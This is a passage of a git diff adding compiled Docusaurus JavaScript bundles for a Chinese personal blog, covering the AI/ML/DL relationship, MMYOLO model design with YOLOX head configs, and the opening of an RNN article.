7\u4ee4\u96c6\u3001\u7136\u540e\u8ba9\u7a0b\u5e8f\u5b8c\u6210\u7279\u6b8a\u4efb\u52a1\uff1b\u76f8\u53cd\uff0c\u7814\u7a76\u4eba\u5458\u4f1a\u7528\u5927\u91cf\u6570\u636e\u548c\u7b97\u6cd5\u201c\u8bad\u7ec3\u201d\u673a\u5668\uff0c\u8ba9\u673a\u5668\u81ea\u884c\u5b66\u4f1a\u5982\u4f55\u6267\u884c\u4efb\u52a1\u3002\u8bf4\u767d\u4e86\uff0c\u673a\u5668\u5b66\u4e60\u53ea\u662f\u4eba\u4eec\u5b9e\u73b0\u8ba9\u673a\u5668\u201c\u6a21\u62df\u3001\u5ef6\u4f38\u548c\u6269\u5c55\u4eba\u7684\u667a\u80fd\u201d\u7684\u4e00\u79cd\u8f83\u4e3a\u8f7b\u677e\u7684\u65b9\u6cd5\u7f62\u4e86\u3002\u5b83\u7684\u6210\u529f\u4e0e\u5426\u53d6\u51b3\u4e8e\u6211\u4eec\u5582\u7ed9\u673a\u5668\u7684\u6570\u636e\u96c6\u662f\u5426\u51c6\u786e\u4e14\u6709\u6548\u3002\u56e0\u6b64\uff0c\u673a\u5668\u5b66\u4e60\u662f\u5927\u6570\u636e\u6280\u672f\u9886\u57df\u5185\u7684\u4e00\u4e2a\u5e94\u7528\uff0c\u4eba\u4eec\u53ea\u662f\u501f\u7528\u8fd9\u4e2a\u5e94\u7528\uff0c\u6765\u53d1\u5c55\u4eba\u5de5\u667a\u80fd\u7f62\u4e86\u3002\u673a\u5668\u5b66\u4e60\u53d1\u5c55\u4e86\u51e0\u5341\u5e74\u4e4b\u540e\uff0c\u518d\u6b21\u9047\u5230\u4e86\u74f6\u9888\u671f\u3002\u968f\u7740\u95ee\u9898\u573a\u666f\u7684\u66f4\u52a0\u590d\u6742\u591a\u53d8\uff0c\u9700\u8981\u8fdb\u884c\u5224\u65ad\u7684\u6761\u4ef6\u66f4\u52a0\u82db\u523b\uff0c\u4eba\u4eec\u4e0d\u5f97\u4e0d\u91cd\u65b0\u601d\u8003\u4e00\u79cd\u65b9\u5f0f\u6765\u4f18\u5316\u673a\u5668\u5b66\u4e60\u3002\u6df1\u5ea6\u5b66\u4e60\u5c31\u662f\u5e26\u7740\u8fd9\u4e2a\u76ee\u7684\u88ab\u63d0\u51fa\u7684\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u673a\u5668\u5b66\u4e60\u4e2d\u6709\u4e00\u4e2a\u6982\u5ff5\u53eb\u201c\u795e\u7ecf\u7f51\u7edc\u201d\uff0c\u6df1\u5ea6\u5b66\u4e60\u6b63\u662f\u901a\u8fc7\u4f18\u5316\u8fd9\u4e2a\u7f51\u7edc\u6765\u66f4\u597d\u7684\u89e3\u51b3\u901a\u8fc7\u673a\u5668\u5b66\u4e60\u96be\u4ee5\u89e3\u51b3\u7684\u95ee\u9898\u3002\u5b83\u7684\u57fa\u672c\u7279\u70b9\uff0c\u5c31\u662f\u8bd5\u56fe\u6a21\u4eff\u5927\u8111\u7684\u795e\u7ecf\u5143\u4e4b\u95f4\u4f20\u9012\uff0c\u5904\u7406\u4fe1\u606f\u7684\u6a21\u5f0f\uff0c\u901a\u8fc7\u4e0d\u540c\u7684\u201c\u5c42\u201d\u6765\u62c6\u5206\u95ee\u9898\uff0c\u6bcf\u4e00\u5c42\u89e3\u51b3\u95ee\u9898\u7684\u4e00\u4e2a\u90e8\u5206\u3002\u6bd4\u5982\u5728\u5229\u7528\u6df1\u5ea6\u5b66\u4e60\u89e3\u51b3\u667a\u80fd\u9a7e\u9a76\u95ee\u9898\u4e2d\uff0c\u7b2c\u4e00\u5c42\u53ef\u80fd\u7528\u4e8e\u8bc6\u522b\u8f66\u8f86\u4e0e\u9053\u8def\u8fb9\u7f18\u7684\u8ddd\u79bb\uff0c\u7b2c\u4e8c\u5c42\u7528\u4e8e\u8bc6\u522b\u9053\u8def\u6807\u7ebf\uff0c\u7b2c\u4e09\u5c42\u7528\u4e8e\u8bc6\u522b\u8def\u4e0a\u7684\u5176\u4ed6\u8f66\u8f86\u7b49\u7b49\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u901a\u8fc7\u4ee5\u4e0a\u51e0\u6bb5\u8bdd\u7684\u7b80\u5355\u63cf\u8ff0\uff0cDL,ML\u548cAI\u4e4b\u95f4\u7684\u5173\u7cfb\u4e5f\u5c31\u660e\u786e\u4e86\u3002\u5b83\u4eec\u4e09\u8005\u7684\u5173\u7cfb\u5c31\u50cf\u662f\u4fc4\u7f57\u65af\u5957\u5a03\uff1aAI\u6700\u5927\uff0c\u5b83\u7684\u76ee\u7684\u662f\u901a\u8fc7\u8ba9\u673a\u5668\u6a21\u4eff\u4eba\u7c7b\u8fdb\u800c\u8d85\u8d8a\u4eba\u7c7b\uff1bML\u6b21\u4e4b\uff0c\u5b83\u662fAI\u7684\u4e00\u4e2a\u5206\u652f\uff08\u4e5f\u662f\u6700\u91cd\u8981\u5206\u652f\uff09\uff0c\u662f\u8ba9\u673a\u5668\u6a21\u4eff\u4eba\u7c7b\u7684\u4e00\u79cd\u65b9\u6cd5\uff1bDL\u66f4\u6b21\u4e4b\uff0c\u5b83\u662fML\u7684\u4e00\u4e2a\u5206\u652f\uff0c\u5b83\u7684\u76ee\u7684\u662f\u8ba9\u673a\u5668\u4e0d\u501f\u52a9\u4eba\u5de5\u6807\u6ce8\uff0c\u4e5f\u80fd\u81ea\u4e3b\u63d0\u53d6\u76ee\u6807\u7279\u5f81\u8fdb\u800c\u89e3\u51b3\u95ee\u9898\u7684\u4e00\u79cd\u65b9\u6cd5\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u6700\u540e\uff0c\u501f\u7528\u4e00\u5f20\u7ecf\u5178\u7684\u5173\u7cfb\u56fe\u4f5c\u4e3a\u7ed3\u5c3e\uff1a"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:i(70804).A+"",width:"1237",height:"658"})})]})}function x(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(a,{...e})}):a(e)}},28453:(e,n,i)=>{i.d(n,{R:()=>r,x:()=>d});var l=i(96540);const t={},s=l.createContext(t);function r(e){const n=l.useContext(s);return l.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:r(e.components),l.createElement(s.Provider,{value:n},e.children)}},30757:(e,n,i)=>{i.d(n,{A:()=>l});const l=i.p+"assets/images/AI-eb8a89aeff51a1b7b3a58b69692e35ab.jpg"},70804:(e,n,i)=>{i.d(n,{A:()=>l});const l=i.p+"assets/images/AI&ML&DL-cb4ef7708a7c0da09a5a14fda7b7d433.jpg"}}]); \ No newline at end of file diff --git a/assets/js/3dfe6aad.6f972d24.js b/assets/js/3dfe6aad.6f972d24.js new file mode 100644 index 0000000..f4feabf --- /dev/null +++ b/assets/js/3dfe6aad.6f972d24.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4373],{28453:(e,n,s)=>{s.d(n,{R:()=>l,x:()=>c});var d=s(96540);const t={},i=d.createContext(t);function l(e){const n=d.useContext(i);return d.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:l(e.components),d.createElement(i.Provider,{value:n},e.children)}},50810:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>o,contentTitle:()=>c,default:()=>h,frontMatter:()=>l,metadata:()=>d,toc:()=>r});const d=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design","title":"model_design.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/model_design.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"MMYOLO\u5b9e\u73b0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/"},"next":{"title":"rtmdet_description.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description"}}');var t=s(74848),i=s(28453);const l={},c="model_design.md",o={},r=[{value:"YOLO \u7cfb\u5217\u6a21\u578b\u57fa\u7c7b",id:"yolo-\u7cfb\u5217\u6a21\u578b\u57fa\u7c7b",level:2},{value:"BaseBackbone",id:"basebackbone",level:3},{value:"BaseYOLONeck",id:"baseyoloneck",level:3},{value:"BaseDenseHead",id:"basedensehead",level:3},{value:"HeadModule",id:"headmodule",level:2}];function a(e){const n={a:"a",code:"code",div:"div",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,i.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"model_designmd",children:"model_design.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:40"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,t.jsx)(n.h1,{id:"\u6a21\u578b\u8bbe\u8ba1\u76f8\u5173\u8bf4\u660e",children:"\u6a21\u578b\u8bbe\u8ba1\u76f8\u5173\u8bf4\u660e"}),"\n",(0,t.jsx)(n.h2,{id:"yolo-\u7cfb\u5217\u6a21\u578b\u57fa\u7c7b",children:"YOLO \u7cfb\u5217\u6a21\u578b\u57fa\u7c7b"}),"\n",(0,t.jsx)(n.p,{children:"\u4e0b\u56fe\u4e3a RangeKing@GitHub \u63d0\u4f9b\uff0c\u975e\u5e38\u611f\u8c22\uff01"}),"\n",(0,t.jsxs)(n.div,{align:"center",children:["\n",(0,t.jsx)(n.img,{src:"https://user-images.githubusercontent.com/27466624/199999337-0544a4cb-3cbd-4f3e-be26-bcd9e74db7ff.jpg",alt:"\u57fa\u7c7b"}),"\n"]}),"\n",(0,t.jsx)(n.p,{children:"YOLO \u7cfb\u5217\u7b97\u6cd5\u5927\u90e8\u5206\u91c7\u7528\u4e86\u7edf\u4e00\u7684\u7b97\u6cd5\u642d\u5efa\u7ed3\u6784\uff0c\u5178\u578b\u7684\u5982 Darknet + PAFPN\u3002\u4e3a\u4e86\u8ba9\u7528\u6237\u5feb\u901f\u7406\u89e3 YOLO \u7cfb\u5217\u7b97\u6cd5\u67b6\u6784\uff0c\u6211\u4eec\u7279\u610f\u8bbe\u8ba1\u4e86\u5982\u4e0a\u56fe\u4e2d\u7684 BaseBackbone + BaseYOLONeck \u7ed3\u6784\u3002"}),"\n",(0,t.jsx)(n.p,{children:"\u62bd\u8c61 BaseBackbone \u7684\u597d\u5904\u5305\u62ec\uff1a"}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsx)(n.li,{children:"\u5b50\u7c7b\u4e0d\u9700\u8981\u5173\u5fc3 forward \u8fc7\u7a0b\uff0c\u53ea\u8981\u7c7b\u4f3c\u5efa\u9020\u8005\u6a21\u5f0f\u4e00\u6837\u6784\u5efa\u6a21\u578b\u5373\u53ef\u3002"}),"\n",(0,t.jsx)(n.li,{children:"\u53ef\u4ee5\u901a\u8fc7\u914d\u7f6e\u5b9e\u73b0\u5b9a\u5236\u63d2\u4ef6\u529f\u80fd\uff0c\u7528\u6237\u53ef\u4ee5\u5f88\u65b9\u4fbf\u7684\u63d2\u5165\u4e00\u4e9b\u7c7b\u4f3c\u6ce8\u610f\u529b\u6a21\u5757\u3002"}),"\n",(0,t.jsx)(n.li,{children:"\u6240\u6709\u5b50\u7c7b\u81ea\u52a8\u652f\u6301 frozen \u67d0\u4e9b stage \u548c frozen bn \u529f\u80fd\u3002"}),"\n"]}),"\n",(0,t.jsx)(n.p,{children:"\u62bd\u8c61 BaseYOLONeck \u4e5f\u6709\u540c\u6837\u597d\u5904\u3002"}),"\n",(0,t.jsx)(n.h3,{id:"basebackbone",children:"BaseBackbone"}),"\n",(0,t.jsxs)(n.p,{children:["\u5982\u4e0a\u56fe\u6240\u793a\uff0c\u5bf9\u4e8e P5 \u800c\u8a00\uff0cBaseBackbone \u5305\u62ec 1 \u4e2a stem \u5c42 + 4 \u4e2a stage \u5c42\u7684\u7c7b\u4f3c ResNet \u7684\u57fa\u7840\u7ed3\u6784\uff0c\u4e0d\u540c\u7b97\u6cd5\u7684\u4e3b\u5e72\u7f51\u7edc\u7ee7\u627f BaseBackbone\uff0c\u7528\u6237\u53ef\u4ee5\u901a\u8fc7\u5b9e\u73b0\u5185\u90e8\u7684 ",(0,t.jsx)(n.code,{children:"build_xx"})," \u65b9\u6cd5\uff0c\u4f7f\u7528\u81ea\u5b9a\u4e49\u7684\u57fa\u7840\u6a21\u5757\u6765\u6784\u5efa\u6bcf\u4e00\u5c42\u7684\u5185\u90e8\u7ed3\u6784\u3002"]}),"\n",(0,t.jsx)(n.h3,{id:"baseyoloneck",children:"BaseYOLONeck"}),"\n",(0,t.jsxs)(n.p,{children:["\u4e0e ",(0,t.jsx)(n.code,{children:"BaseBackbone"})," \u7684\u8bbe\u8ba1\u7c7b\u4f3c\uff0c\u6211\u4eec\u4e3a MMYOLO \u7cfb\u5217\u7684 Neck \u5c42\u8fdb\u884c\u4e86\u91cd\u6784\uff0c\u4e3b\u8981\u5206\u4e3a ",(0,t.jsx)(n.code,{children:"Reduce \u5c42"}),"\uff0c ",(0,t.jsx)(n.code,{children:"UpSample \u5c42"}),"\uff0c",(0,t.jsx)(n.code,{children:"TopDown \u5c42"}),"\uff0c",(0,t.jsx)(n.code,{children:"DownSample \u5c42"}),"\uff0c",(0,t.jsx)(n.code,{children:"BottomUP \u5c42"}),"\u4ee5\u53ca",(0,t.jsx)(n.code,{children:"\u8f93\u51fa\u5377\u79ef\u5c42"}),"\uff0c\u6bcf\u4e00\u5c42\u7ed3\u6784\u90fd\u53ef\u4ee5\u901a\u8fc7\u7ee7\u627f\u91cd\u5199 ",(0,t.jsx)(n.code,{children:"build_xx"})," \u65b9\u6cd5\u6765\u5b9e\u73b0\u81ea\u5b9a\u4e49\u7684\u5185\u90e8\u7ed3\u6784\u3002"]}),"\n",(0,t.jsx)(n.h3,{id:"basedensehead",children:"BaseDenseHead"}),"\n",(0,t.jsxs)(n.p,{children:["MMYOLO \u7cfb\u5217\u6cbf\u7528 MMDetection \u4e2d\u8bbe\u8ba1\u7684 ",(0,t.jsx)(n.code,{children:"BaseDenseHead"})," \u4f5c\u4e3a\u5176 Head \u7ed3\u6784\u7684\u57fa\u7c7b\uff0c\u4f46\u662f\u8fdb\u4e00\u6b65\u62c6\u5206\u4e86 HeadModule. \u4ee5 YOLOv5 \u4e3a\u4f8b\uff0c\u5176 ",(0,t.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/mmyolo/models/dense_heads/yolov5_head.py#L24",children:"HeadModule"})," \u4e2d\u7684 forward \u5b9e\u73b0\u4ee3\u66ff\u4e86\u539f\u6709\u7684 forward \u5b9e\u73b0\u3002"]}),"\n",(0,t.jsx)(n.h2,{id:"headmodule",children:"HeadModule"}),"\n",(0,t.jsxs)(n.div,{align:"center",children:["\n",(0,t.jsx)(n.img,{src:"https://user-images.githubusercontent.com/33799979/190985845-ed303ad4-3a77-447b-83f9-1feba38d5e24.png",width:"800",alt:"HeadModule"}),"\n"]}),"\n",(0,t.jsxs)(n.p,{children:["\u5982\u4e0a\u56fe\u6240\u793a\uff0c\u865a\u7ebf\u90e8\u5206\u4e3a ",(0,t.jsx)(n.a,{href:"https://github.com/open-mmlab/mmdetection/blob/3.x/mmdet/models/dense_heads/base_dense_head.py",children:"MMDetection"})," \u4e2d\u7684\u5b9e\u73b0\uff0c\u5b9e\u7ebf\u90e8\u5206\u4e3a ",(0,t.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/mmyolo/models/dense_heads/yolov5_head.py",children:"MMYOLO"})," \u4e2d\u7684\u5b9e\u73b0\u3002MMYOLO\u7248\u672c\u4e0e\u539f\u5b9e\u73b0\u76f8\u6bd4\u5177\u5907\u5177\u6709\u4ee5\u4e0b\u4f18\u52bf\uff1a"]}),"\n",(0,t.jsxs)(n.ol,{children:["\n",(0,t.jsxs)(n.li,{children:["MMDetection \u4e2d\u5c06 ",(0,t.jsx)(n.code,{children:"bbox_head"})," \u62c6\u5206\u4e3a ",(0,t.jsx)(n.code,{children:"assigner"})," + ",(0,t.jsx)(n.code,{children:"box coder"})," + ",(0,t.jsx)(n.code,{children:"sampler"})," \u4e09\u4e2a\u5927\u7684\u7ec4\u4ef6\uff0c\u4f46\u7531\u4e8e 3 \u4e2a\u7ec4\u4ef6\u4e4b\u95f4\u7684\u4f20\u9012\u4e3a\u4e86\u901a\u7528\u6027\uff0c\u9700\u8981\u5c01\u88c5\u989d\u5916\u7684\u5bf9\u8c61\u6765\u5904\u7406\uff0c\u7edf\u4e00\u4e4b\u540e\u7528\u6237\u53ef\u4ee5\u4e0d\u7528\u8fdb\u884c\u62c6\u5206\u3002\u4e0d\u523b\u610f\u5f3a\u6c42\u5212\u5206\u4e09\u5927\u7ec4\u4ef6\u7684\u597d\u5904\u4e3a\uff1a\u4e0d\u518d\u9700\u8981\u5bf9\u5185\u90e8\u6570\u636e\u8fdb\u884c\u6570\u636e\u5c01\u88c5\uff0c\u7b80\u5316\u4e86\u4ee3\u7801\u903b\u8f91\uff0c\u51cf\u8f7b\u4e86\u793e\u533a\u4f7f\u7528\u96be\u5ea6\u548c\u7b97\u6cd5\u590d\u73b0\u96be\u5ea6\u3002"]}),"\n",(0,t.jsx)(n.li,{children:"\u901f\u5ea6\u66f4\u5feb\uff0c\u7528\u6237\u5728\u81ea\u5b9a\u4e49\u5b9e\u73b0\u7b97\u6cd5\u65f6\u5019\uff0c\u53ef\u4ee5\u4e0d\u4f9d\u8d56\u4e8e\u539f\u6709\u6846\u67b6\uff0c\u5bf9\u90e8\u5206\u4ee3\u7801\u8fdb\u884c\u6df1\u5ea6\u4f18\u5316\u3002"}),"\n"]}),"\n",(0,t.jsxs)(n.p,{children:["\u603b\u7684\u6765\u8bf4\uff0c\u5728 MMYOLO \u4e2d\u53ea\u9700\u8981\u505a\u5230\u5c06 ",(0,t.jsx)(n.code,{children:"model"})," + ",(0,t.jsx)(n.code,{children:"loss_by_feat"})," \u90e8\u5206\u89e3\u8026\uff0c\u7528\u6237\u5c31\u53ef\u4ee5\u901a\u8fc7\u4fee\u6539\u914d\u7f6e\u5b9e\u73b0\u4efb\u610f\u6a21\u578b\u914d\u5408\u4efb\u610f\u7684 ",(0,t.jsx)(n.code,{children:"loss_by_feat"})," \u8ba1\u7b97\u8fc7\u7a0b\u3002\u4f8b\u5982\u5c06 YOLOv5 \u6a21\u578b\u5e94\u7528 YOLOX \u7684 ",(0,t.jsx)(n.code,{children:"loss_by_feat"})," \u7b49\u3002"]}),"\n",(0,t.jsx)(n.p,{children:"\u4ee5 MMDetection \u4e2d YOLOX \u914d\u7f6e\u4e3a\u4f8b\uff0c\u5176 Head \u6a21\u5757\u914d\u7f6e\u5199\u6cd5\u4e3a\uff1a"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"bbox_head=dict(\n type='YOLOXHead',\n num_classes=80,\n in_channels=128,\n feat_channels=128,\n stacked_convs=2,\n strides=(8, 16, 32),\n use_depthwise=False,\n norm_cfg=dict(type='BN', momentum=0.03, eps=0.001),\n act_cfg=dict(type='Swish'),\n ...\n loss_obj=dict(\n type='CrossEntropyLoss',\n use_sigmoid=True,\n reduction='sum',\n loss_weight=1.0),\n loss_l1=dict(type='L1Loss', reduction='sum', loss_weight=1.0)),\ntrain_cfg=dict(assigner=dict(type='SimOTAAssigner', center_radius=2.5)),\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u5728 MMYOLO \u4e2d\u62bd\u53d6 ",(0,t.jsx)(n.code,{children:"head_module"})," \u540e\uff0c\u65b0\u7684\u914d\u7f6e\u5199\u6cd5\u4e3a\uff1a"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-python",children:"bbox_head=dict(\n type='YOLOXHead',\n head_module=dict(\n type='YOLOXHeadModule',\n num_classes=80,\n in_channels=256,\n feat_channels=256,\n widen_factor=widen_factor,\n stacked_convs=2,\n featmap_strides=(8, 16, 32),\n use_depthwise=False,\n norm_cfg=dict(type='BN', momentum=0.03, eps=0.001),\n act_cfg=dict(type='SiLU', inplace=True),\n ),\n ...\n loss_obj=dict(\n type='mmdet.CrossEntropyLoss',\n use_sigmoid=True,\n reduction='sum',\n loss_weight=1.0),\n loss_bbox_aux=dict(type='mmdet.L1Loss', reduction='sum', loss_weight=1.0)),\ntrain_cfg=dict(\n assigner=dict(\n type='mmdet.SimOTAAssigner',\n center_radius=2.5,\n iou_calculator=dict(type='mmdet.BboxOverlaps2D'))),\n"})})]})}function h(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/assets/js/3e89e90d.da40cda4.js b/assets/js/3e89e90d.da40cda4.js new file mode 100644 index 0000000..a6a354c --- /dev/null +++ b/assets/js/3e89e90d.da40cda4.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8774],{18111:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>d,contentTitle:()=>l,default:()=>a,frontMatter:()=>h,metadata:()=>s,toc:()=>c});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0","title":"RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218"},"next":{"title":"ResNet\u6e90\u7801\u89e3\u8bfb.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb"}}');var i=t(74848),r=t(28453);const h={},l="RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0.md",d={},c=[];function o(n){const e={a:"a",code:"code",em:"em",h1:"h1",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,r.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"rnn\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0md",children:"RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,i.jsx)(e.h1,{id:"\u6587\u7ae0\u7ed3\u6784",children:"\u6587\u7ae0\u7ed3\u6784"}),"\n",(0,i.jsx)(e.p,{children:"\u63d0\u53ca RNN\uff0c\u7edd\u5927\u90e8\u5206\u4eba\u90fd\u77e5\u9053\u4ed6\u662f\u4e00\u4e2a\u7528\u4e8e\u5e8f\u5217\u4efb\u52a1\u7684\u795e\u7ecf\u7f51\u7edc\uff0c\u4f1a\u63d0\u53ca\u4ed6\u4fdd\u5b58\u4e86\u65f6\u5e8f\u4fe1\u606f\uff0c\u4f46\u662f\uff0c\u4e3a\u4ec0\u4e48\u9700\u8981\u8003\u8651\u65f6\u5e8f\u7684\u4fe1\u606f\uff1f\u4e3a\u4ec0\u4e48\u8bf4 RNN 